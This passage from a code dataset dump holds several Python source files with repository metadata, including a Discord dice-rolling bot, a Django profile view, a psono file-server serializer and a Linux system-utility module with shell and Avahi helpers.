load_pretrain_except = compound_model_setting.get('load_pretrain_weight', {}).get('except', [])\n if load_from:\n for model_category, sub_model in sub_models.items():\n if model_category not in load_pretrain_except:\n sub_model.load_weights(f'{load_from}/{model_category}')\n\n compound_model = CompoundModel(**sub_models)\n return 'compound_model', compound_model\n\n for single_model_category in ['regressor', 'profiler']:\n if single_model_category in experiment_settings:\n single_model = _create_model_instance(single_model_category, experiment_settings[single_model_category])\n if load_from:\n single_model.load_weights(f'{load_from}')\n return single_model_category, single_model\n\n\n# This function is faciliating creating model instance in jupiter notebook\ndef create_model_by_experiment_path_and_stage(experiment_path, sub_exp_name):\n sub_exp_settings = parse_experiment_settings(experiment_path, only_this_sub_exp=sub_exp_name)\n model_save_path = get_model_save_path(sub_exp_settings)\n model_type, model = create_model_by_experiment_settings(sub_exp_settings, load_from=model_save_path)\n return model\n", "repo_name": "BoyoChen/Climate-Trends-of-TC-Revealed-by-DL", "sub_path": "modules/model_constructor.py", "file_name": "model_constructor.py", "file_ext": "py", "file_size_in_byte": 2627, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "importlib.import_module", "line_number": 7, "usage_type": "call"}, {"api_name": "modules.experiment_helper.get_model_save_path", "line_number": 26, "usage_type": "call"}, {"api_name": "modules.compound_model.CompoundModel", "line_number": 37, "usage_type": "call"}, {"api_name": "modules.experiment_helper.parse_experiment_settings", "line_number": 50, "usage_type": "call"}, {"api_name": "modules.experiment_helper.get_model_save_path", "line_number": 51, "usage_type": "call"}]} {"seq_id": "18215980025", "text": "from rest_framework import serializers\nfrom django.utils import timezone\nfrom django.conf import settings\n\nfrom datetime import timedelta\nfrom typing import List, Dict\nimport ipaddress\n\nfrom ..models import (\n Fileserver_Cluster_Member_Shard_Link,\n)\n\nfrom ..utils import get_ip, fileserver_access\n\nclass ReadShardSerializer(serializers.Serializer):\n\n def validate(self, attrs: dict) -> dict:\n\n ip_address = ipaddress.ip_address(get_ip(self.context['request']))\n\n cluster_member_shard_link_objs = Fileserver_Cluster_Member_Shard_Link.objects.select_related('member', 'shard')\\\n .filter(member__valid_till__gt=timezone.now() - timedelta(seconds=settings.FILESERVER_ALIVE_TIMEOUT),\n shard__active=True)\\\n .only('read', 'write', 'ip_read_blacklist', 'ip_read_whitelist', 'ip_write_blacklist', 'ip_write_whitelist',\n 'member__url', 'member__read', 'member__write', 'member__public_key', 'member__url', 'shard__id', 'shard__title', 'shard__description')\n\n shards: List[Dict] = []\n shard_dic: Dict[str, Dict] = {}\n\n for cmsl in cluster_member_shard_link_objs:\n\n read = fileserver_access(cmsl, ip_address, read=True)\n write = fileserver_access(cmsl, ip_address, write=True)\n\n if cmsl.shard.id not in shard_dic:\n shard_dic[cmsl.shard.id] = {\n 'id': cmsl.shard.id,\n 'shard_title': cmsl.shard.title,\n 'shard_description': cmsl.shard.description,\n 'fileserver': [],\n 'read': False,\n 'write': False,\n }\n\n shards.append(shard_dic[cmsl.shard.id])\n\n shard_dic[cmsl.shard.id]['fileserver'].append({\n 'fileserver_public_key': cmsl.member.public_key,\n 'fileserver_url': cmsl.member.url,\n 'read': read,\n 'write': write,\n })\n shard_dic[cmsl.shard.id]['read'] = shard_dic[cmsl.shard.id]['read'] or read\n shard_dic[cmsl.shard.id]['write'] = shard_dic[cmsl.shard.id]['write'] or write\n\n\n attrs['shards'] = shards\n\n return attrs", "repo_name": "psono/psono-server", "sub_path": "psono/restapi/serializers/read_shard.py", "file_name": "read_shard.py", "file_ext": "py", "file_size_in_byte": 2219, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 67, "dataset": "github-code", "pt": "78", "api": [{"api_name": "rest_framework.serializers.Serializer", "line_number": 15, "usage_type": "attribute"}, {"api_name": "rest_framework.serializers", "line_number": 15, "usage_type": "name"}, {"api_name": "ipaddress.ip_address", "line_number": 19, "usage_type": "call"}, {"api_name": "utils.get_ip", "line_number": 19, "usage_type": "call"}, {"api_name": "models.Fileserver_Cluster_Member_Shard_Link.objects.select_related", "line_number": 21, "usage_type": "call"}, {"api_name": "models.Fileserver_Cluster_Member_Shard_Link.objects", "line_number": 21, "usage_type": "attribute"}, {"api_name": "models.Fileserver_Cluster_Member_Shard_Link", "line_number": 21, "usage_type": "name"}, {"api_name": "django.utils.timezone.now", "line_number": 22, "usage_type": "call"}, {"api_name": "django.utils.timezone", "line_number": 22, "usage_type": "name"}, {"api_name": "datetime.timedelta", "line_number": 22, "usage_type": "call"}, {"api_name": "django.conf.settings.FILESERVER_ALIVE_TIMEOUT", "line_number": 22, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 22, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 27, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 27, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 28, "usage_type": "name"}, {"api_name": "utils.fileserver_access", "line_number": 32, "usage_type": "call"}, {"api_name": "utils.fileserver_access", "line_number": 33, "usage_type": "call"}]} {"seq_id": "22725848130", "text": "import discord\nfrom discord.ext import commands\nimport random\nimport json\nimport re\nfrom ..utils import emoji\n\n\nclass Dnd(commands.Cog):\n def __init__(self, bot):\n self.bot = bot\n \n @commands.command()\n async def roll(self, ctx,*,dice=None):\n \"\"\"Rolls a dice in NdN format.\"\"\"\n print(f\"dice: {dice}\")\n if dice is None:\n roll = random.randint(1, 20)\n if roll == 1:\n result = f\"F's in chat for {ctx.author.mention}. They rolled a 1.\"\n elif roll == 20:\n result = f\"{emoji.emojis['PogChamp']} for {ctx.author.mention}. They rolled a nat 20!\"\n else:\n result = f\"{ctx.author.mention} rolled 1d20: {roll}\"\n await ctx.send(result)\n return\n else:\n dice = dice.split(\"+\")\n if len(dice) == 1:\n rolls = roll_multi_dice(dice[0])\n result = f\"{ctx.author.mention} rolled {dice} => {rolls} with sum: {sum(rolls)}\"\n elif dice[1].strip().isnumeric():\n to_add = int(dice[1].strip())\n rolls = roll_multi_dice(dice[0].strip())\n result = f\"{ctx.author.mention} rolled {dice} => {rolls} with sum: {sum(rolls)+to_add}\"\n else:\n roll_sum = 0\n all_rolls = []\n for i_roll in dice:\n roll_result = roll_multi_dice(i_roll)\n all_rolls.append(roll_result)\n roll_sum += sum(roll_result)\n result = f\"{ctx.author.mention} rolled {dice} => {all_rolls} with sum: {roll_sum}\"\n await ctx.send(result)\n return\n\n def roll_multi_dice(self, dice):\n dice = dice.strip()\n try:\n roll, limit = map(int, dice.split('d'))\n except Exception:\n return 'Format has to be in NdN! e.x 1d6, 2d8, 3d4' \n rolls = [random.randint(1, limit) for r in range(roll)]\n return rolls\n\n def roll_and_add(self,dice, to_add):\n rolls, dice_sum = do_roll(dice)\n dice_sum = (dice_sum+to_add)\n return (rolls, dice_sum)\n\n\ndef setup(bot):\n bot.add_cog(Dnd(bot))", "repo_name": "bhaanukaul/discord_bot", "sub_path": "bot/bot_commands/dnd/dnd.py", "file_name": "dnd.py", "file_ext": "py", "file_size_in_byte": 2188, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "discord.ext.commands.Cog", "line_number": 9, "usage_type": "attribute"}, {"api_name": "discord.ext.commands", "line_number": 9, "usage_type": "name"}, {"api_name": "random.randint", "line_number": 18, "usage_type": "call"}, {"api_name": "utils.emoji.emojis", "line_number": 22, "usage_type": "attribute"}, {"api_name": "utils.emoji", "line_number": 22, "usage_type": "name"}, {"api_name": "discord.ext.commands.command", "line_number": 13, "usage_type": "call"}, {"api_name": "discord.ext.commands", "line_number": 13, "usage_type": "name"}, {"api_name": "random.randint", "line_number": 53, "usage_type": "call"}]} {"seq_id": "12344672910", "text": "\"\"\"setup.py file for packaging ``swagexample``.\"\"\"\n\nfrom setuptools import setup, find_packages\n\n\nwith open('readme.md', 'r') as readme_file:\n readme = readme_file.read()\n\n\nsetup(\n name='swagexample',\n version='0.0.0',\n description=\"An example submission for the SWAG leaderboard.\",\n long_description=readme,\n url='http://github.com/allenai/swagexample',\n author='Allen Institute for Artificial Intelligence',\n author_email='alexandria@allenai.org',\n keywords='deep learning swag allennlp',\n classifiers=[\n 'Development Status :: 3 - Alpha',\n 'Programming Language :: Python :: 3.6',\n 'License :: OSI Approved :: Apache Software License',\n 'Intended Audience :: Developers',\n 'Intended Audience :: Science/Research',\n 'Topic :: Scientific/Engineering :: Artificial Intelligence'\n ],\n license='Apache',\n packages=find_packages(),\n install_requires=[\n 'allennlp',\n 'ipython',\n 'torch',\n 'torchvision'\n ],\n python_requires='>=3.6',\n zip_safe=False\n)\n", "repo_name": "allenai/swagexample", "sub_path": "setup.py", "file_name": "setup.py", "file_ext": "py", "file_size_in_byte": 1068, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "78", "api": [{"api_name": "setuptools.setup", "line_number": 10, "usage_type": "call"}, {"api_name": "setuptools.find_packages", "line_number": 28, "usage_type": "call"}]} {"seq_id": "11653512515", "text": "from django.shortcuts import redirect\nfrom django.db.models import ObjectDoesNotExist\nfrom django.core.urlresolvers import reverse\nfrom django.template import RequestContext\nfrom django.contrib.auth.decorators import login_required\nfrom django.shortcuts import render_to_response\nfrom profiles.views import default_success_url\nfrom saaskit_profile.forms import UserProfileForm\n\n\ndef create_profile(request, form_class=UserProfileForm, success_url=default_success_url,\n template_name='profiles/create_profile.html',\n extra_context=None):\n try:\n profile_obj = request.user.get_profile()\n return redirect('profiles_edit_profile')\n except ObjectDoesNotExist:\n pass\n\n if request.method == 'POST':\n form = form_class(data=request.POST, files=request.FILES)\n if form.is_valid():\n profile_obj = form.save(user=request.user)\n if callable(success_url):\n success_url = success_url(profile_obj)\n return redirect(success_url)\n\n else:\n form = form_class()\n\n if extra_context is None:\n extra_context = {}\n context = RequestContext(request)\n for key, value in extra_context.items():\n context[key] = callable(value) and value() or value\n\n return render_to_response(template_name,\n { 'form': form },\n context_instance=context)\ncreate_profile = login_required(create_profile)\n", "repo_name": "zhaque/saaskit-core", "sub_path": "src/saaskit/apps/saaskit_profile/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 1479, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 23, "dataset": "github-code", "pt": "78", "api": [{"api_name": "saaskit_profile.forms.UserProfileForm", "line_number": 11, "usage_type": "name"}, {"api_name": "profiles.views.default_success_url", "line_number": 11, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 16, "usage_type": "call"}, {"api_name": "django.db.models.ObjectDoesNotExist", "line_number": 17, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 26, "usage_type": "call"}, {"api_name": "django.template.RequestContext", "line_number": 33, "usage_type": "call"}, {"api_name": "django.shortcuts.render_to_response", "line_number": 37, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 40, "usage_type": "call"}]} {"seq_id": "27556886531", "text": "#!/usr/bin/python3\n# -*- coding: utf-8; tab-width: 4; indent-tabs-mode: t -*-\n\nimport os\nimport re\nimport sys\nimport pwd\nimport grp\nimport dbus\nimport time\nimport random\nimport logging\nimport shutil\nimport subprocess\nimport socket\nfrom OpenSSL import crypto\nfrom gi.repository import GLib\nfrom dbus.mainloop.glib import DBusGMainLoop\n\n\nclass GbsUtil:\n\n @staticmethod\n def forceUnmount(mntDir):\n for i in range(0, 10):\n rc, out = GbsUtil.shell(\"/bin/umount %s\" % (mntDir), \"retcode+stdout\")\n if rc == 0:\n return\n time.sleep(1.0)\n GbsUtil.shell(\"/bin/umount %s\" % (mntDir))\n\n @staticmethod\n def mergeDictWithOverwriteAsException(dict1, dict2):\n for k in dict2.keys():\n if k in dict1:\n raise Exception(\"overwriting occured when merging two dictionaries\")\n dict1.update(dict2)\n\n @staticmethod\n def isUserNameValid(userName):\n # from is_valid_name() in shadow-utils-4.1\n return re.search(\"^[a-z_][a-z0-9_-]*$\", userName) is not None\n\n @staticmethod\n def isHostnameValid(hostname):\n # from RFC1123\n return re.search(\"^[a-z0-9][a-z0-9-]*$\", hostname) is not None\n\n @staticmethod\n def dropPrivileges(uid_name, gid_name):\n os.setgid(grp.getgrnam(gid_name)[2])\n os.setuid(pwd.getpwnam(uid_name)[2])\n # os.umask(077)\n\n @staticmethod\n def chown(filename, uid_name, gid_name):\n os.chown(filename, pwd.getpwnam(uid_name)[2], grp.getgrnam(gid_name)[2])\n\n @staticmethod\n def getFreeTcpPort(start_port=10000, end_port=65536):\n for port in range(start_port, end_port):\n s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n try:\n s.bind((('', port)))\n return port\n except socket.error:\n continue\n finally:\n s.close()\n raise Exception(\"No valid tcp port in [%d,%d].\" % (start_port, end_port))\n\n @staticmethod\n def waitTcpPort(port):\n # bad design, would cause an extra connection for server, may send SYN, wait ACK, but not send SYN-ACK\n while True:\n s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n try:\n s.connect(('127.0.0.1', port))\n s.close()\n break\n except socket.error:\n s.close()\n time.sleep(1.0)\n\n @staticmethod\n def copyToDir(srcFilename, dstdir, mode=None):\n \"\"\"Copy file to specified directory, and set file mode if required\"\"\"\n\n if not os.path.isdir(dstdir):\n os.makedirs(dstdir)\n fdst = os.path.join(dstdir, os.path.basename(srcFilename))\n shutil.copy(srcFilename, fdst)\n if mode is not None:\n GbsUtil.shell(\"/bin/chmod \" + mode + \" \\\"\" + fdst + \"\\\"\")\n\n @staticmethod\n def copyToFile(srcFilename, dstFilename, mode=None):\n \"\"\"Copy file to specified filename, and set file mode if required\"\"\"\n\n if not os.path.isdir(os.path.dirname(dstFilename)):\n os.makedirs(os.path.dirname(dstFilename))\n shutil.copy(srcFilename, dstFilename)\n if mode is not None:\n GbsUtil.shell(\"/bin/chmod \" + mode + \" \\\"\" + dstFilename + \"\\\"\")\n\n @staticmethod\n def getDirFreeSpace(dirname):\n \"\"\"Returns free space in MB\"\"\"\n\n ret = GbsUtil.shell(\"/bin/df -BM \\\"%s\\\"\" % (dirname), \"stdout\").decode(\"ascii\")\n m = re.search(\"^.* + [0-9]+M +[0-9]+M +([0-9]+)M +[0-9]+% .*$\", ret, re.M)\n return int(m.group(1))\n\n @staticmethod\n def getLoopDevByFile(filename):\n ret = GbsUtil.shell(\"/sbin/losetup -j \\\"%s\\\"\" % (filename), \"stdout\").decode(\"ascii\")\n m = re.search(\"^(.*?):.*$\", ret, re.M)\n return m.group(1)\n\n @staticmethod\n def mkDir(dirname):\n if not os.path.isdir(dirname):\n GbsUtil.forceDelete(dirname)\n os.mkdir(dirname)\n\n @staticmethod\n def mkDirAndClear(dirname):\n GbsUtil.forceDelete(dirname)\n os.mkdir(dirname)\n\n @staticmethod\n def touchFile(filename):\n assert not os.path.exists(filename)\n f = open(filename, 'w')\n f.close()\n\n @staticmethod\n def forceDelete(filename):\n if os.path.islink(filename):\n os.remove(filename)\n elif os.path.isfile(filename):\n os.remove(filename)\n elif os.path.isdir(filename):\n shutil.rmtree(filename)\n\n @staticmethod\n def ensureDir(dirname):\n if not os.path.exists(dirname):\n os.makedirs(dirname)\n\n @staticmethod\n def shell(cmd, flags=\"\"):\n \"\"\"Execute shell command\"\"\"\n\n assert cmd.startswith(\"/\")\n\n # Execute shell command, throws exception when failed\n if flags == \"\":\n retcode = subprocess.Popen(cmd, shell=True).wait()\n if retcode != 0:\n raise Exception(\"Executing shell command \\\"%s\\\" failed, return code %d\" % (cmd, retcode))\n return\n\n # Execute shell command, throws exception when failed, returns stdout+stderr\n if flags == \"stdout\":\n proc = subprocess.Popen(cmd,\n shell=True,\n stdout=subprocess.PIPE,\n stderr=subprocess.STDOUT)\n out = proc.communicate()[0]\n if proc.returncode != 0:\n raise Exception(\"Executing shell command \\\"%s\\\" failed, return code %d\" % (cmd, proc.returncode))\n return out\n\n # Execute shell command, returns (returncode,stdout+stderr)\n if flags == \"retcode+stdout\":\n proc = subprocess.Popen(cmd,\n shell=True,\n stdout=subprocess.PIPE,\n stderr=subprocess.STDOUT)\n out = proc.communicate()[0]\n return (proc.returncode, out)\n\n assert False\n\n @staticmethod\n def shellInteractive(cmd, strInput, flags=\"\"):\n \"\"\"Execute shell command with input interaction\"\"\"\n\n assert cmd.startswith(\"/\")\n\n # Execute shell command, throws exception when failed\n if flags == \"\":\n proc = subprocess.Popen(cmd,\n shell=True,\n stdin=subprocess.PIPE)\n proc.communicate(strInput)\n if proc.returncode != 0:\n raise Exception(\"Executing shell command \\\"%s\\\" failed, return code %d\" % (cmd, proc.returncode))\n return\n\n # Execute shell command, throws exception when failed, returns stdout+stderr\n if flags == \"stdout\":\n proc = subprocess.Popen(cmd,\n shell=True,\n stdin=subprocess.PIPE,\n stdout=subprocess.PIPE,\n stderr=subprocess.STDOUT)\n out = proc.communicate(strInput)[0]\n if proc.returncode != 0:\n raise Exception(\"Executing shell command \\\"%s\\\" failed, return code %d, output %s\" % (cmd, proc.returncode, out))\n return out\n\n # Execute shell command, returns (returncode,stdout+stderr)\n if flags == \"retcode+stdout\":\n proc = subprocess.Popen(cmd,\n shell=True,\n stdin=subprocess.PIPE,\n stdout=subprocess.PIPE,\n stderr=subprocess.STDOUT)\n out = proc.communicate(strInput)[0]\n return (proc.returncode, out)\n\n assert False\n\n @staticmethod\n def cbConditionToStr(cb_condition):\n ret = \"\"\n if cb_condition & GLib.IO_IN:\n ret += \"IN \"\n if cb_condition & GLib.IO_OUT:\n ret += \"OUT \"\n if cb_condition & GLib.IO_PRI:\n ret += \"PRI \"\n if cb_condition & GLib.IO_ERR:\n ret += \"ERR \"\n if cb_condition & GLib.IO_HUP:\n ret += \"HUP \"\n if cb_condition & GLib.IO_NVAL:\n ret += \"NVAL \"\n return ret\n\n @staticmethod\n def getLoggingLevel(logLevel):\n if logLevel == \"CRITICAL\":\n return logging.CRITICAL\n elif logLevel == \"ERROR\":\n return logging.ERROR\n elif logLevel == \"WARNING\":\n return logging.WARNING\n elif logLevel == \"INFO\":\n return logging.INFO\n elif logLevel == \"DEBUG\":\n return logging.DEBUG\n else:\n assert False\n\n @staticmethod\n def execHelper(*kargs):\n assert len(kargs) > 1\n\n cmd = \"\"\n cmd += \"/usr/libexec/syncupd-helper exec\"\n for arg in kargs:\n cmd += \" \\\"%s\\\"\" % (arg)\n\n proc = subprocess.Popen(cmd,\n shell=True, universal_newlines=True,\n stdout=subprocess.PIPE,\n stderr=subprocess.STDOUT)\n out, err = proc.communicate()\n if proc.returncode != 0:\n raise Exception(err)\n\n return out\n\n @staticmethod\n def genSelfSignedCertAndKey(cn, keysize):\n k = crypto.PKey()\n k.generate_key(crypto.TYPE_RSA, keysize)\n\n cert = crypto.X509()\n cert.get_subject().CN = cn\n cert.set_serial_number(random.randint(0, 65535))\n cert.gmtime_adj_notBefore(100 * 365 * 24 * 60 * 60 * -1)\n cert.gmtime_adj_notAfter(100 * 365 * 24 * 60 * 60)\n cert.set_issuer(cert.get_subject())\n cert.set_pubkey(k)\n cert.sign(k, 'sha1')\n\n return (cert, k)\n\n @staticmethod\n def dumpCertAndKey(cert, key, certFile, keyFile):\n with open(certFile, \"wb\") as f:\n buf = crypto.dump_certificate(crypto.FILETYPE_PEM, cert)\n f.write(buf)\n os.fchmod(f.fileno(), 0o644)\n\n with open(keyFile, \"wb\") as f:\n buf = crypto.dump_privatekey(crypto.FILETYPE_PEM, key)\n f.write(buf)\n os.fchmod(f.fileno(), 0o600)\n\n @staticmethod\n def getQemuCpuModel(cpuArch, cpuModel):\n \"\"\"$(uname -p) -> cpuModel\"\"\"\n\n # return cpu model of the lowest level\n if cpuModel is None:\n if cpuArch == \"amd64\":\n return \"core2duo\"\n elif cpuArch == \"x86\":\n return \"pentium\"\n else:\n assert False\n\n if cpuModel.startswith(\"Intel(R) Core(TM) i7-4600U CPU\"):\n return \"Haswell\"\n else:\n assert False\n\n\nclass AvahiServiceRegister:\n\n \"\"\"\n Exampe:\n obj = AvahiServiceRegister()\n obj.add_service(socket.gethostname(), \"_http\", 80)\n obj.start()\n obj.stop()\n \"\"\"\n\n def __init__(self):\n self.retryInterval = 30\n self.serviceList = []\n\n def add_service(self, service_name, service_type, port):\n assert isinstance(service_name, str)\n assert service_type.endswith(\"._tcp\") or service_type.endswith(\"._udp\")\n assert isinstance(port, int)\n self.serviceList.append((service_name, service_type, port))\n\n def start(self):\n DBusGMainLoop(set_as_default=True)\n\n self._server = None\n self._retryCreateServerTimer = None\n self._entryGroup = None\n self._retryRegisterServiceTimer = None\n self._ownerChangeHandler = None\n\n if dbus.SystemBus().name_has_owner(\"org.freedesktop.Avahi\"):\n self._createServer()\n self._ownerChangeHandler = dbus.SystemBus().add_signal_receiver(self.onNameOwnerChanged, \"NameOwnerChanged\", None, None)\n\n def stop(self):\n if self._ownerChangeHandler is not None:\n dbus.SystemBus().remove_signal_receiver(self._ownerChangeHandler)\n self._ownerChangeHandler = None\n self._unregisterService()\n self._releaseServer()\n\n def onNameOwnerChanged(self, name, old, new):\n if name == \"org.freedesktop.Avahi\":\n if new != \"\" and old == \"\":\n if self._server is None:\n self._createServer()\n else:\n # this may happen on some rare case\n pass\n elif new == \"\" and old != \"\":\n self._unregisterService()\n self._releaseServer()\n else:\n assert False\n\n def _createServer(self):\n assert self._server is None and self._retryCreateServerTimer is None\n assert self._entryGroup is None\n try:\n self._server = dbus.Interface(dbus.SystemBus().get_object(\"org.freedesktop.Avahi\", \"/\"), \"org.freedesktop.Avahi.Server\")\n if self._server.GetState() == 2: # avahi.SERVER_RUNNING\n self._registerService()\n self._server.connect_to_signal(\"StateChanged\", self.onSeverStateChanged)\n except:\n logging.error(\"Avahi create server failed, retry in %d seconds\" % (self.retryInterval), sys.exc_info())\n self._releaseServer()\n self._retryCreateServer()\n\n def _releaseServer(self):\n assert self._entryGroup is None\n if self._retryCreateServerTimer is not None:\n GLib.source_remove(self._retryCreateServerTimer)\n self._retryCreateServerTimer = None\n self._server = None\n\n def onSeverStateChanged(self, state, error):\n if state == 2: # avahi.SERVER_RUNNING\n self._unregisterService()\n self._registerService()\n else:\n self._unregisterService()\n\n def _registerService(self):\n assert self._entryGroup is None and self._retryRegisterServiceTimer is None\n try:\n self._entryGroup = dbus.Interface(dbus.SystemBus().get_object(\"org.freedesktop.Avahi\", self._server.EntryGroupNew()),\n \"org.freedesktop.Avahi.EntryGroup\")\n for serviceName, serviceType, port in self.serviceList:\n self._entryGroup.AddService(-1, # interface = avahi.IF_UNSPEC\n 0, # protocol = avahi.PROTO_UNSPEC\n dbus.UInt32(0), # flags\n serviceName, # name\n serviceType, # type\n \"\", # domain\n \"\", # host\n dbus.UInt16(port), # port\n \"\") # txt\n self._entryGroup.Commit()\n self._entryGroup.connect_to_signal(\"StateChanged\", self.onEntryGroupStateChanged)\n except:\n logging.error(\"Avahi register service failed, retry in %d seconds\" % (self.retryInterval), sys.exc_info())\n self._unregisterService()\n self._retryRegisterService()\n\n def _unregisterService(self):\n if self._retryRegisterServiceTimer is not None:\n GLib.source_remove(self._retryRegisterServiceTimer)\n self._retryRegisterServiceTimer = None\n if self._entryGroup is not None:\n try:\n if self._entryGroup.GetState() != 4: # avahi.ENTRY_GROUP_FAILURE\n self._entryGroup.Reset()\n self._entryGroup.Free()\n # .Free() has mem leaks?\n self._entryGroup._obj._bus = None\n self._entryGroup._obj = None\n except dbus.exceptions.DBusException:\n pass\n finally:\n self._entryGroup = None\n\n def onEntryGroupStateChanged(self, state, error):\n if state in [0, 1, 2]: # avahi.ENTRY_GROUP_UNCOMMITED, avahi.ENTRY_GROUP_REGISTERING, avahi.ENTRY_GROUP_ESTABLISHED\n pass\n elif state == 3: # avahi.ENTRY_GROUP_COLLISION\n self._unregisterService()\n self._retryRegisterService()\n elif state == 4: # avahi.ENTRY_GROUP_FAILURE\n assert False\n else:\n assert False\n\n def _retryCreateServer(self):\n assert self._retryCreateServerTimer is None\n self._retryCreateServerTimer = GLib.timeout_add_seconds(self.retryInterval, self.__timeoutCreateServer)\n\n def __timeoutCreateServer(self):\n self._retryCreateServerTimer = None\n self._createServer() # no exception in self._createServer()\n return False\n\n def _retryRegisterService(self):\n assert self._retryRegisterServiceTimer is None\n self._retryRegisterServiceTimer = GLib.timeout_add_seconds(self.retryInterval, self.__timeoutRegisterService)\n\n def __timeoutRegisterService(self):\n self._retryRegisterServiceTimer = None\n self._registerService() # no exception in self._registerService()\n return False\n", "repo_name": "syncupd/syncupd", "sub_path": "lib/gbs_util.py", "file_name": "gbs_util.py", "file_ext": "py", "file_size_in_byte": 17020, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "time.sleep", "line_number": 29, "usage_type": "call"}, {"api_name": "re.search", "line_number": 42, "usage_type": "call"}, {"api_name": "re.search", "line_number": 47, "usage_type": "call"}, {"api_name": "os.setgid", "line_number": 51, "usage_type": "call"}, {"api_name": "grp.getgrnam", "line_number": 51, "usage_type": "call"}, {"api_name": "os.setuid", "line_number": 52, "usage_type": "call"}, {"api_name": "pwd.getpwnam", "line_number": 52, "usage_type": "call"}, {"api_name": "os.chown", "line_number": 57, "usage_type": "call"}, {"api_name": "pwd.getpwnam", "line_number": 57, "usage_type": "call"}, {"api_name": "grp.getgrnam", "line_number": 57, "usage_type": "call"}, {"api_name": "socket.socket", "line_number": 62, "usage_type": "call"}, {"api_name": "socket.AF_INET", "line_number": 62, "usage_type": "attribute"}, {"api_name": "socket.SOCK_STREAM", "line_number": 62, "usage_type": "attribute"}, {"api_name": "socket.error", "line_number": 66, "usage_type": "attribute"}, {"api_name": "socket.socket", "line_number": 76, "usage_type": "call"}, {"api_name": "socket.AF_INET", "line_number": 76, "usage_type": "attribute"}, {"api_name": "socket.SOCK_STREAM", "line_number": 76, "usage_type": "attribute"}, {"api_name": "socket.error", "line_number": 81, "usage_type": "attribute"}, {"api_name": "time.sleep", "line_number": 83, "usage_type": "call"}, {"api_name": "os.path.isdir", "line_number": 89, "usage_type": "call"}, {"api_name": "os.path", "line_number": 89, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 90, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 91, "usage_type": "call"}, {"api_name": "os.path", "line_number": 91, "usage_type": "attribute"}, {"api_name": "os.path.basename", "line_number": 91, "usage_type": "call"}, {"api_name": "shutil.copy", "line_number": 92, "usage_type": "call"}, {"api_name": "os.path.isdir", "line_number": 100, "usage_type": "call"}, {"api_name": "os.path", "line_number": 100, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 100, "usage_type": "call"}, {"api_name": "os.makedirs", "line_number": 101, "usage_type": "call"}, {"api_name": "os.path.dirname", "line_number": 101, "usage_type": "call"}, {"api_name": "os.path", "line_number": 101, "usage_type": "attribute"}, {"api_name": "shutil.copy", "line_number": 102, "usage_type": "call"}, {"api_name": "re.search", "line_number": 111, "usage_type": "call"}, {"api_name": "re.M", "line_number": 111, "usage_type": "attribute"}, {"api_name": "re.search", "line_number": 117, "usage_type": "call"}, {"api_name": "re.M", "line_number": 117, "usage_type": "attribute"}, {"api_name": "os.path.isdir", "line_number": 122, "usage_type": "call"}, {"api_name": "os.path", "line_number": 122, "usage_type": "attribute"}, {"api_name": "os.mkdir", "line_number": 124, "usage_type": "call"}, {"api_name": "os.mkdir", "line_number": 129, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 133, "usage_type": "call"}, {"api_name": "os.path", "line_number": 133, "usage_type": "attribute"}, {"api_name": "os.path.islink", "line_number": 139, "usage_type": "call"}, {"api_name": "os.path", "line_number": 139, "usage_type": "attribute"}, {"api_name": "os.remove", "line_number": 140, "usage_type": "call"}, {"api_name": "os.path.isfile", "line_number": 141, "usage_type": "call"}, {"api_name": "os.path", "line_number": 141, "usage_type": "attribute"}, {"api_name": "os.remove", "line_number": 142, "usage_type": "call"}, {"api_name": "os.path.isdir", "line_number": 143, "usage_type": "call"}, {"api_name": "os.path", "line_number": 143, "usage_type": "attribute"}, {"api_name": "shutil.rmtree", "line_number": 144, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 148, "usage_type": "call"}, {"api_name": "os.path", "line_number": 148, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 149, "usage_type": "call"}, {"api_name": "subprocess.Popen", "line_number": 159, "usage_type": "call"}, {"api_name": "subprocess.Popen", "line_number": 166, "usage_type": "call"}, {"api_name": "subprocess.PIPE", "line_number": 168, "usage_type": "attribute"}, {"api_name": "subprocess.STDOUT", "line_number": 169, "usage_type": "attribute"}, {"api_name": "subprocess.Popen", "line_number": 177, "usage_type": "call"}, {"api_name": "subprocess.PIPE", "line_number": 179, "usage_type": "attribute"}, {"api_name": "subprocess.STDOUT", "line_number": 180, "usage_type": "attribute"}, {"api_name": "subprocess.Popen", "line_number": 194, "usage_type": "call"}, {"api_name": "subprocess.PIPE", "line_number": 196, "usage_type": "attribute"}, {"api_name": "subprocess.Popen", "line_number": 204, "usage_type": "call"}, {"api_name": "subprocess.PIPE", "line_number": 206, "usage_type": "attribute"}, {"api_name": "subprocess.PIPE", "line_number": 207, "usage_type": "attribute"}, {"api_name": "subprocess.STDOUT", "line_number": 208, "usage_type": "attribute"}, {"api_name": "subprocess.Popen", "line_number": 216, "usage_type": "call"}, {"api_name": "subprocess.PIPE", "line_number": 218, "usage_type": "attribute"}, {"api_name": "subprocess.PIPE", "line_number": 219, "usage_type": "attribute"}, {"api_name": "subprocess.STDOUT", "line_number": 220, "usage_type": "attribute"}, {"api_name": "gi.repository.GLib.IO_IN", "line_number": 229, "usage_type": "attribute"}, {"api_name": "gi.repository.GLib", "line_number": 229, "usage_type": "name"}, {"api_name": "gi.repository.GLib.IO_OUT", "line_number": 231, 